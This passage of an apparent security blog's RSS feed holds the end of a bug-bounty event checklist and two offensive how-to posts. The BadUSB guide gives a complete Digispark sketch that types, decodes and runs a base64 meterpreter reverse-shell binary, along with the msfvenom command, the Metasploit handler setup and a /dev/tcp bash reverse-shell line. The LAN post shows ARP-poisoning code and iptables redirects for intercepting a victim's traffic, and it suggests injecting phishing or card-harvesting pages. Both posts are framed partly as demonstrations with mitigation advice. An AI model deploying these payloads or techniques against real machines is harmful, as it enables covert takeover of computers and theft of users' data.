<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">You should define what kind of vulnerability reports will </span><span style="font-weight: 400;">not</span><span style="font-weight: 400;"> be rewarded.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">When and how will bounties be paid.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Ask for consent before unleashing your media team on hackers for surprise photoshoots.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Allow teams to see reported vulnerabilities (at least the subject of each report) so hackers know not to spend time on duplicate vulnerabilities that will be disqualified.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Explain what is and what isn’t a duplicate report to avoid confusion.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Require a definition of impact and a working POC (Proof of Concept) for each reported vulnerability so that the issue is easily reproduced.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Consider if you want to ban or limit the use of automated scanners. They can help find vulnerabilities but can also negatively affect the system and event by generating excessive amount of traffic.</span></li>
<li>Inform teams that all confidential material such as vulnerability details should be removed from hacker&#8217;s devices before leaving the event.</li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Be prepared to make judgement and decisions swiftly on the spot. Have a clear jury/judge who can make decisions.</span></li>
</ul>
<h2><span style="font-weight: 400;">Schedule</span></h2>
<ul>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Time used to test the target application will of course affect the test coverage. In general, minimum of eight (8) hours should be reserved for testing.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">At the start of the event, go through the rules and specify what is in scope.</span></li>
</ul>
<h2><span style="font-weight: 400;"></span></h2>
<h2><span style="font-weight: 400;">Other</span></h2>
<ul>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Identify (drivers license or other) each attending hacker.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Collect bank account details (if applies) for bounty payments.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Prepare a reporting platform for handling vulnerability reports.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Consider allowing internet access to hackers so they can access more resources (e.g ad-hoc research).</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">It is recommended to have technically inclined staff (developers) and a product owner on site to answer questions and help the jury evaluating vulnerability impact.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">The event must have jury which will decide and evaluate severity and impact of each vulnerability and the possible bounty sum.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Assist students and/or newbies by guiding them and getting them to know “seniors”. Attract more experienced hackers to teach the juniors with some small reward.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">When the event ends, kill the connections to the target, this way you can be sure that no one tests anymore.</span></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Exploiting with BadUSB/Digispark + meterpreter payload</title>
		<link>/exploiting-with-badusbdigispark-meterpreter-payload/</link>
					<comments>/exploiting-with-badusbdigispark-meterpreter-payload/#respond</comments>
		
		<dc:creator><![CDATA[jvesiluoma]]></dc:creator>
		<pubDate>Wed, 22 Mar 2017 11:13:35 +0000</pubDate>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Guide]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[badusb]]></category>
		<category><![CDATA[digispark]]></category>
		<category><![CDATA[digistump]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[meterpreter]]></category>
		<guid isPermaLink="false">http://blog.rot.fi/?p=712</guid>

					<description><![CDATA[Here is a small guide on how to create a BadUSB - stick with a meterpreter payload to Linux. BadUSB can be a normal USB memory stick with a customized firmware that'll have the computer to recognize the device as a keyboard. Because of this, the computer thinks that there's always a user typing on the keyboard, which is a pretty nasty exploit and enables a lot of possibilities.]]></description>
										<content:encoded><![CDATA[<h1>Exploiting with BadUSB / Digispark + meterpreter payload</h1>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/20170222_192323.jpg"><img decoding="async" class="wp-image-715 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/20170222_192323.jpg" alt="" width="407" height="276"></a><br />
Here is a small guide on how to create a BadUSB &#8211; stick with a meterpreter payload to Linux. BadUSB can be a normal USB memory stick with a customized firmware that&#8217;ll have the computer to recognize the device as a keyboard. Because of this, the computer thinks that&nbsp;there&#8217;s always a user typing on the keyboard, which is a pretty nasty exploit and enablse a lot of possibilities. For example, with physical access to the victims computer you can do following things with BadUSB:</p>
<ul>
<li>Inject malware</li>
<li>Steal passwords</li>
<li>Delete files</li>
<li>etc&#8230;whatever you can do with a keyboard, a BadUSB can do also.</li>
</ul>
<p>Of course, you could buy&nbsp;a <a href="https://hakshop.com/collections/usb-rubber-ducky">Rubber Ducky from Hak5</a>&nbsp;, but you&#8217;d miss all the fun tinkering with cool things. This guide is made for Digispark from <a href="http://digistump.com/">Digistump</a>.<br />
Digispark can be programmed so that when the computer accepts it as a keyboard, it starts to send key presses to computer. Since Digispark has only 8Kb (6Kb of programmable space after bootloader), options are somewhat limited, but should be&nbsp;more than enough for most purposes and it&#8217;s also possible to circumvent the space limit.</p>
<h2>0x00 Pre-requisities:</h2>
<ul>
<li><a href="http://digistump.com/products/1">Digispark</a>&nbsp;, a low cost (~8$ at the time of writing this)&nbsp;USB development board</li>
<li><a href="https://www.arduino.cc/en/main/software">Arduino-IDE</a> (<a href="http://digistump.com/wiki/digispark/tutorials/connecting">install guide here</a>)</li>
<li><a href="https://www.kali.org/">Kali &#8211; Linux</a></li>
</ul>
<h2>0x01 Install Arduino-IDE</h2>
<p>Since the installation guide is excellent in the digistump.com site, I will not even try to recreate them in detail here. <a href="http://digistump.com/wiki/digispark/tutorials/connecting">Configure Arduino-IDE by these instructions</a>.<br />
Just make sure you have added following URL to &#8220;Additional Boards Manager URLs:&#8221; (<em>File</em> -&gt; <em>Preferences</em>):</p>
<pre>http://digistump.com/package_digistump_index.json</pre>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/arduino-ide-preferences.png"><img decoding="async" class="wp-image-719 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/arduino-ide-preferences.png" alt="" width="638" height="518"></a><br />
Also, install &#8220;<em>Digistump AVR Boards by Digistump</em>&#8221; via Boards manager (<em>Tools</em> -&gt; <em>Boards</em> -&gt; <em>Boards Manager</em>)&#8230;<br />
<a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/arduino-ide-boards-manager.png"><img decoding="async" class="wp-image-722 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/arduino-ide-boards-manager.png" alt="" width="604" height="340"></a><br />
And select &#8220;<em>Digispark (Default &#8211; 16.5mhz)</em>&#8221; as a board.<br />
Arduino-IDE should now be good to go.</p>
<h2>0x02 Generating a meterpreter payload</h2>
<p>Generation of the payload is pretty straightforward. It&#8217;s generated with &#8220;<em>msfvenom</em>&#8221; as follows.</p>
<pre>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.8 LPORT=880 -f elf &gt; mShell_880</pre>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/msfvenom.png"><img decoding="async" class="size-full wp-image-727 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/msfvenom.png" alt="" width="1009" height="114"></a><br />
Of course, LPORT and the LHOST should be changed to match your IP-addresses. LHOST should be the Kali box where the metasploit handler is waiting for the connection back from the victim and LPORT is the port you want to use. The output of the msfvenom is directed to file called &#8216;<em>mShell_880</em>&#8216;. The output of the executable payload is only 155 bytes, so we have plenty of space left.<br />
Since the payload is &#8220;typed&#8221; to victim, it has to be Base64 encoded, so we can &#8220;input&#8221; it to victim and generate the executable payload. Basically, what we want to do, is to echo the Base64 string and decode it and direct the output to a file, change the executable bit for the file and run the payload.<br />
Base64 encoding is done as follows:</p>
<pre>base64 mShell_880 &gt; mShell_880.b64</pre>
<p>&#8220;<em>mShell_880.b64</em>&#8221; &#8211; file now holds our payload encoded in Base64. We can use this string in our program that outputs it to victims terminal.<br />
<a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/base64_encoded_payload.png"><img decoding="async" class=" wp-image-742 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/base64_encoded_payload.png" alt="" width="616" height="72"></a></p>
<h2>0x03 Programming with Arduino-IDE</h2>
<p>The program is&nbsp;very simple and straightforward. I commented the program below, so it should be very clear what is done. On default, it works only with US &#8211; keyboard layout, but it&#8217;s possible to remap the keyboard layout from &#8220;<em>DigiKeyboard.h</em>&#8221; &#8211; file. Since this is for PoC only, I don&#8217;t include any other layouts in this post. Sorry <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<pre>/*
* Works with US - keyboard layout only, because of testing purposes.
*
* 1. Send super key ('Windows key') to bring up the search
* 2. input 'terminal' and send enter
* 3. Send our binary payload via base64 encoded string, decode it and output to file
* 4. Change executable bit for the payload and execute it.
* 5. Enjoy.
*/
#include "DigiKeyboard.h"
void setup() {
// LED on.
pinMode(1, OUTPUT);
delay(200);
// Super, delete content
// Start to inject payload, turn the LED on
digitalWrite(1, HIGH);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean
delay(200);
DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT); // Super key, open 'search'
delay(300);
DigiKeyboard.print("terminal"); // Program to run
delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER,0);
// Delay for 1 second, if terminal is not opened, part of the string below is wasted to /dev/null
delay(1000);
// Send our payload
DigiKeyboard.print("echo");
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.print("f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1toCgAACGgCAANwieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= | base64 --decode &amp;gt; /tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(500);
// Change the permissions for the file...
DigiKeyboard.println("chmod 755 /tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(200);
// ...and execute it
DigiKeyboard.println("/tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(100);
// Payload executed!
digitalWrite(1, LOW);
}
void loop() {
// When scripts are done, blink some LED like it's 19
digitalWrite(1, HIGH);
delay(200);
digitalWrite(1, LOW);
delay(300);
}
</pre>
<p>Now, it&#8217;s possible to check the code for errors from Arduino-IDE by clicking &#8220;<em>Sketch</em> =&gt; <em>Verify/Compile</em>&#8221; (or by pressing CTRL + R on the Arduino-IDE). If no errors found, the program is ready to be uploaded to Digispark by first clicking &#8220;<em>Sketch</em> =&gt;&nbsp;<em>Upload</em>&#8221; (or by pressing CTRL + U on the Arduino IDE) and you should get a following info on the bottom of the IDE window.<br />
<a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/ArduinoIDE-upload.png"><img decoding="async" class=" wp-image-747 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/ArduinoIDE-upload.png" alt="" width="505" height="96"></a><br />
Now the Digispark can be inserted to a USB port on the computer. After a while, the update should go through and you should see following info.<br />
<a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/ArduinoIDE-uploaded.png"><img decoding="async" class="size-full wp-image-748 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/ArduinoIDE-uploaded.png" alt="" width="253" height="105"></a><br />
The programming of the Digispark is now ready and it now is a &#8216;BadUSB&#8217;.<br />
Note: I had some problems with the uploading. Sometimes it takes a few tries to get a succesful program upload to Digispark, don&#8217;t yet know why..</p>
<h2>0x04 Metasploit, multi/handler</h2>
<p>Now multi/handler is setup to catch the meterpreter shell.&nbsp;Payload is &#8220;<em>linux/x86/meterpreter/reverse_tcp</em>&#8220;, since the generated payload<br />
The whole point of this is guide is to demonstrate how dangerous it is to plug in USB sticks. Keep in mind that normal USB stick firmwares can also be reprogrammed like this and it doesn&#8217;t necessary help that they are formatted.<br />
multi/handler can simply be setup from the terminal with following command:</p>
<pre>msfconsole -x "use multi/handler;\
set PAYLOAD linux/x86/meterpreter/reverse_tcp;\
set LHOST 10.0.0.8;\
set LPORT 880;\
set AutoRunScript multi_console_command -rc /root/autoruncommands.rc
exploit"</pre>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/meterpreter_ready_to_catch_the_fly.png"><img decoding="async" class=" wp-image-745 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/meterpreter_ready_to_catch_the_fly.png" alt="" width="564" height="205"></a></p>
<h2>0x05 The Exploitation</h2>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/20170222_192405.jpg"><img decoding="async" class=" wp-image-751 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/20170222_192405.jpg" alt="" width="494" height="287"></a><br />
Now we are ready to test the BadUSB we have just created. When the Digispark / BadUSB is now inserted to linux computer, it should open the dashboard/search, open terminal, echo the Base64 encoded payload and decode it to file, change the executable bit for the payload file and run it. When the payload is run,&nbsp;multi/handler gets the shell. Here is a video recorded when the Digispark / BadUSB is inserted in to the linux computer. In the image above, you can see both LEDs from the Digispark are lighted, when the payload on the Digispark is executed.<br />
Top right corner: syslog from &#8216;victim&#8217;, it&#8217;s visible when the BadUSB / Digispark is plugged in<br />
Lower right corner: multi/handler from attacking server</p>
<div class='avia-iframe-wrap'><iframe title="badUSB (Digispark) + meterpreter payload" width="1333" height="1000" src="https://www.youtube.com/embed/W-UPinvtevs?feature=oembed" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<h2>0x06 Mitigation</h2>
<p>As for mitigation, for Windows, there is a program called &#8216;<a href="https://jlospinoso.github.io/infosec/usb%20rubber%20ducky/lan%20turtle/c%23/clr/wpf/.net/security/2016/11/30/beamgun-update-poison-tap.html"><em>Beamgun</em></a>&#8216; (haven&#8217;t tested it yet). Of course as for Windows, Linux, OSX you could always disable USB ports, create scripts that prevent adding new hardware etc., but if you really need USB devices, that would be pretty cumbersome in the long run. And of course&#8230;don&#8217;t plug untrusted devices to your computer and don&#8217;t let anybody plug unknown USB devices to your computer. There is also a physical, small box called &#8216;<a href="http://www.usbguard.fi/">USBguard</a>&#8216; (also not tested in this experiment), that should block these kinds of attacks.</p>
<h2>0x07 Conclusion</h2>
<p>BadUSB stick could also be created with a normal USB drive (e.g. &#8216;Rubber ducky&#8217; from Hak5) and this shows how bad effects plugging &#8216;found&#8217; USB stick can have. Payload could also be something more nasty, e.g. wipe the whole drive from the computer.<br />
It&#8217;s also possible to create payloads for Windows and OSX. For OSX, you can get a shell using for example following payload after you have launched a shell:</p>
<pre>DigiKeyboard.print("/bin/bash -i &gt; /dev/tcp/10.0.0.8/880 0&lt;&amp;1 2&gt;1");</pre>
<p>I&#8217;ll post example codes for Windows and OSX also when I have time to tinker some more.</p>
<p>(Original article:&nbsp;<a href="https://www.vesiluoma.com/exploiting-with-badusb-meterpreter-digispark/">https://www.vesiluoma.com/exploiting-with-badusb-meterpreter-digispark/</a> )</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploiting-with-badusbdigispark-meterpreter-payload/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Decomposing LAN security with Scapy and Burp Suite</title>
		<link>/decomposing-lan-security-with-scapy-and-burp-suite/</link>
					<comments>/decomposing-lan-security-with-scapy-and-burp-suite/#respond</comments>
		
		<dc:creator><![CDATA[j3k]]></dc:creator>
		<pubDate>Tue, 07 Feb 2017 10:25:36 +0000</pubDate>
				<category><![CDATA[Guide]]></category>
		<guid isPermaLink="false">http://blog.rot.fi/?p=19</guid>

					<description><![CDATA[How to intercept and proxy HTTP(S) requests from a mobile device without having to root the device.]]></description>
										<content:encoded><![CDATA[<p><br />
<a href="https://github.com/jake08/RotMiTM">Man-in-the-Middle with RotMiTM()</a><br />
This is a demo of how to intercept and proxy HTTP and HTTPS requests from a mobile device without having to root the device (though it isn&#8217;t limited to mobile devices).<br />
As an alternative to <a href="https://wifipineapple.com/">HAK5 WiFi Pineapple</a> this might be the cheaper option, but obviously doesn&#8217;t have all the fancy features that a pineapple has.<br />
Check out <a href="https://github.com/jvesiluoma/WipeScanner">this</a>, a script on how to abuse a WiFi Pinapple by <b>Apox</b>.<br />
In short, it&#8217;s about ARP Poisoning the LAN network to route all traffic from the victim to me and then intercept and modify the HTTP/HTTPS requests and responses.<br />
By using python flask server, I wanted to demonstrate how simple it would be to have the victim run malicious code.<br />
In total, the whole project was about 100 lines of code and most of the time spent on this project was on writing this blog post.<br />
Of course there are warnings of self-signed certificates, but that only applies to HTTPS.<br />
Tools used in this demo<br />
Burp Suite (by Portswigger) to intercept HTTP/S Requests.<br />
Python Scapy Framework to ARP Poison the network and &#8220;reroute&#8221; traffic<br />
Python flask to setup an easy and fast web server.<br />
Flask isn&#8217;t necessarily required to accomplish this, but its a nice and handy tool for capturing and storing data like stolen cookies etc, sky&#8217;s the limit.<br />
e.g You could easily create a SQLite database and store each client, request, session cookie, parameter value and so forth<br />
But now to the actual demo..</p>
<h2>Quiz</h2>
<div class="file-navigation js-zeroclipboard-container">
<pre class="breadcrumb js-zeroclipboard-target"><span class="repo-root js-repo-root"><span class="js-path-segment"><a href="https://github.com/jake08/RotMiTM">RotMiTM</a></span></span><span class="separator">/</span><strong class="final-path">RotMiTM.py</strong>
<span class="pl-k" style="color:#0000ff;">def</span> <span class="pl-en">startupQuiz</span>(<span class="pl-smi"><span class="pl-smi">self</span></span>):</pre>
</div>
<p><img decoding="async" class="alignnone size-full wp-image-92" src="http://165.232.69.132/wp-content/uploads/2017/02/quiz.png" alt="quiz" width="370" height="161" srcset="/wp-content/uploads/2017/02/quiz.png 370w, /wp-content/uploads/2017/02/quiz-300x131.png 300w" sizes="(max-width: 370px) 100vw, 370px" /><br />
After firing up the script, you need to define which interface you&#8217;re going to use for poisoning, which is the victims IP address and the gateway IP, which usually is the nearest router or firewall.<br />
The script will assume some of the targets, but better fill them in according to your use case.</p>
<h2>Poison()</h2>
<pre class="breadcrumb js-zeroclipboard-target"><span class="repo-root js-repo-root"><span class="js-path-segment"><a href="https://github.com/jake08/RotMiTM">RotMiTM</a></span></span><span class="separator">/</span><strong class="final-path">RotMiTM.py</strong>
<span class="pl-k" style="color:#0000ff;">def</span> <span class="pl-en">poison</span>(<span class="pl-smi"><span class="pl-smi">self</span></span>, <span class="pl-smi">victimIP</span>, <span class="pl-smi">victimMAC</span>, <span class="pl-smi">gatewayIP</span>, <span class="pl-smi">gatewayMAC</span>):
&nbsp; send(ARP(<span class="pl-v">op</span> <span class="pl-k">=</span> <span class="pl-c1">2</span>, <span class="pl-v" style="color:#ff9900;">pdst</span> <span class="pl-k">=</span> victimIP, <span class="pl-v" style="color:#ff9900;">psrc</span> <span class="pl-k">=</span> gatewayIP, <span class="pl-v" style="color:#ff9900;">hwdst</span> <span class="pl-k">=</span> victimMAC))</pre>
<p>How ARP Poisoning works, is that you broadcast malicious ARP Packets to your Layer 2 Network .<br />
Basically, a device broadcasts to the network a packet asking &#8220;Who has this IP address&#8221; and to that question, the device that really does have that IP address sort of broadcasts into the network saying &#8220;its me&#8221;.<br />
What we do here is we also say &#8220;its me&#8221;, which will override the legit response meaning that now the device thinks that we&#8217;re actually the gateway.<br />
In order to make this bi-directional, we also need to poison the way back to the client, and we do.</p>
<h2>Rot()</h2>
<pre><span class="pl-k" style="color:#0000ff;">def</span> <span class="pl-en">rot</span>(<span class="pl-smi"><span class="pl-smi">self</span></span>,<span class="pl-smi">victimIP</span>, <span class="pl-smi">gatewayIP</span>, <span class="pl-smi">interface</span>):
&nbsp;&nbsp;&nbsp; <span style="color:#0000ff;">while</span> 1:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.poison(victimIP, victimMAC, gatewayIP, gatewayMAC)</pre>
<p>In order to maintain the decomposing state of the network, we continue broadcasting the malicious ARP packets over and over again.<br />
Below you can see it in action. Make note that both the &#8220;gateway&#8221; and the victim have the same MAC address (c4:85:08:8b:94:67) which actually is the MAC address of the attacker, which is us.<br />
<img decoding="async" class=" size-full wp-image-166 aligncenter" src="http://165.232.69.132/wp-content/uploads/2017/02/arppoison.png" alt="arppoison" width="835" height="187" srcset="/wp-content/uploads/2017/02/arppoison.png 835w, /wp-content/uploads/2017/02/arppoison-300x67.png 300w, /wp-content/uploads/2017/02/arppoison-768x172.png 768w, /wp-content/uploads/2017/02/arppoison-705x158.png 705w" sizes="(max-width: 835px) 100vw, 835px" /></p>
<h2>It&#8217;s alive!</h2>
<p>So now, the Frankenstein has been awakened, and the network is ours.<br />
By utilizing <span style="color:#008000;">tcpdump</span> we can inspect and verify that indeed, the traffic is going through us.<br />
<img decoding="async" class=" size-full wp-image-27 aligncenter" src="https://rotfi.files.wordpress.com/2017/02/tcpdumprequest.png" alt="tcpdumprequest" width="944" height="480"><br />
In the above example, we can see a HTTP GET request to <span style="color:#ff0000;">j3k.fi<span style="color:#000000;">. </span></span><br />
So now that we&#8217;re the man in the middle, we want to intercept the request <span style="text-decoration:underline;">before</span> its going to where its supposed to.<br />
For that we need to redirect traffic with <span style="color:#008000;">iptables</span> to our proxy of choice, which is<span style="color:#008000;"> Burp Suite </span>in this case.</p>
<div class="file-navigation js-zeroclipboard-container">
<pre><span class="repo-root js-repo-root"><span class="js-path-segment"><a href="https://github.com/jake08/RotMiTM">RotMiTM</a></span></span><span class="separator">/</span><strong class="final-path">rot_mitm.py</strong>
&nbsp; http="iptables -t nat -A PREROUTING -i "+interface+" -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080"
&nbsp; https="iptables -t nat -A PREROUTING -i "+interface+" -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080"
&nbsp; os.system(http)
&nbsp; os.system(https)</pre>
</div>
<h2>Setting up Burp</h2>
<p>This tool is excellent as is and very expandable by so many public modules for pretty much anything that concerns testing web applications.<br />
<img decoding="async" class="alignnone size-full wp-image-22" src="http://165.232.69.132/wp-content/uploads/2017/02/burpinvisibleproxy.png" alt="burpinvisibleproxy" width="792" height="281"><br />
To get started, you need to configure Burp proxy to listen the port defined in the iptables redirect. Port TCP/8080.<br />
Also, be sure to enable the invisible proxy setting, as it is vital for this to work.<br />
Now, Burp Suite will be able to intercept the requests and we can start modifying them.<br />
For this demo, we added a Hostname Resolution for j3k.fi to point to 127.0.0.1, where our malicious python flask web server is located.<br />
<img decoding="async" class="alignnone size-full wp-image-21" src="http://165.232.69.132/wp-content/uploads/2017/02/burpdnsconfig.png" alt="burpdnsconfig" width="986" height="567"></p>
<h2>Genie in a bottle</h2>
<div class="file-navigation js-zeroclipboard-container">
<pre class="breadcrumb js-zeroclipboard-target"><span class="repo-root js-repo-root"><span class="js-path-segment"><a href="https://github.com/jake08/RotMiTM">RotMiTM</a></span></span><span class="separator">/</span><strong class="final-path">flaskserver.py</strong>
<span class="pl-k" style="color:#0000ff;">def</span> <span class="pl-en">CustomResponse</span>():</pre>
</div>
<p><img decoding="async" class="alignnone size-full wp-image-24" src="http://165.232.69.132/wp-content/uploads/2017/02/flaskserver.png" alt="flaskserver" width="691" height="196"><br />
What I mean by Genie, is&nbsp; a hacker using Python Flask.<br />
We are using a flask server to return HTTP Code 200 and some HTML code, more on this below..<br />
With Python Flask, you can create an adhoc HTTP server to do basically whatever you want, as it is a Python framework, its just a matter of what you can or want do with it..</p>
<h2>Back to Burp, capture and modify</h2>
<p>On the mobile device, we browse to https://j3k.fi/ and what happens here is that our MiTM box, intercepts the request, replaces the real IP address of j3k.fi with what was defined in the Hostname Resolution setting in Burp Suite.<br />
So now, the victim assumes that whatever response he gets, will be originating from real j3k.fi, when it really isn&#8217;t&#8230;</p>
<p style="text-align:justify;"><img decoding="async" class=" size-full wp-image-23 aligncenter" src="http://165.232.69.132/wp-content/uploads/2017/02/dnsintercepted.png" alt="dnsintercepted" width="908" height="381"></p>
<p><img decoding="async" class="alignnone size-full wp-image-25" src="http://165.232.69.132/wp-content/uploads/2017/02/httpsresponsexss.png" alt="httpsresponsexss" width="690" height="373"></p>
<div class="breadcrumb js-zeroclipboard-target"></div>
<p>Voilà, we&#8217;ve now successfully sent the victim a messagebox saying <em>&#8216;XSS&#8217;.</em><br />
Hardly exciting huh?<br />
Feel free to replace that HTML/JavaScript with some that is more targeted, like a phishing site or a network login form asking for Hotel Room number, credit card numbers etc..</p>
<h2>Cure()</h2>
<div class="file-navigation js-zeroclipboard-container">
<pre class="breadcrumb js-zeroclipboard-target"><span class="repo-root js-repo-root"><span class="js-path-segment"><a href="https://github.com/jake08/RotMiTM">RotMiTM</a></span></span><span class="separator">/</span><strong class="final-path">RotMiTM.py</strong>
<span class="pl-k" style="color:#0000ff;">def</span> <span class="pl-en">cure</span>(<span class="pl-smi"><span class="pl-smi">self</span></span>,<span class="pl-smi">victimIP</span>, <span class="pl-smi">victimMAC</span>, <span class="pl-smi">gatewayIP</span>, <span class="pl-smi">gatewayMAC</span>):</pre>
</div>
<div class="breadcrumb js-zeroclipboard-target">As all <del><span style="text-decoration:underline;">good things</span></del> bad deeds must come to an end, we cure the poisoned network and return MAC tables to what they are supposed to be.</div>
<div class="breadcrumb js-zeroclipboard-target">This will help us leave the network peacefully and without being noticed.</div>
<div class="breadcrumb js-zeroclipboard-target"></div>
<div class="breadcrumb js-zeroclipboard-target"></div>
<p><strong>Logout</strong><br />
J3k, hacker.</p>
]]></content:encoded>
					
					<wfw:commentRss>/decomposing-lan-security-with-scapy-and-burp-suite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
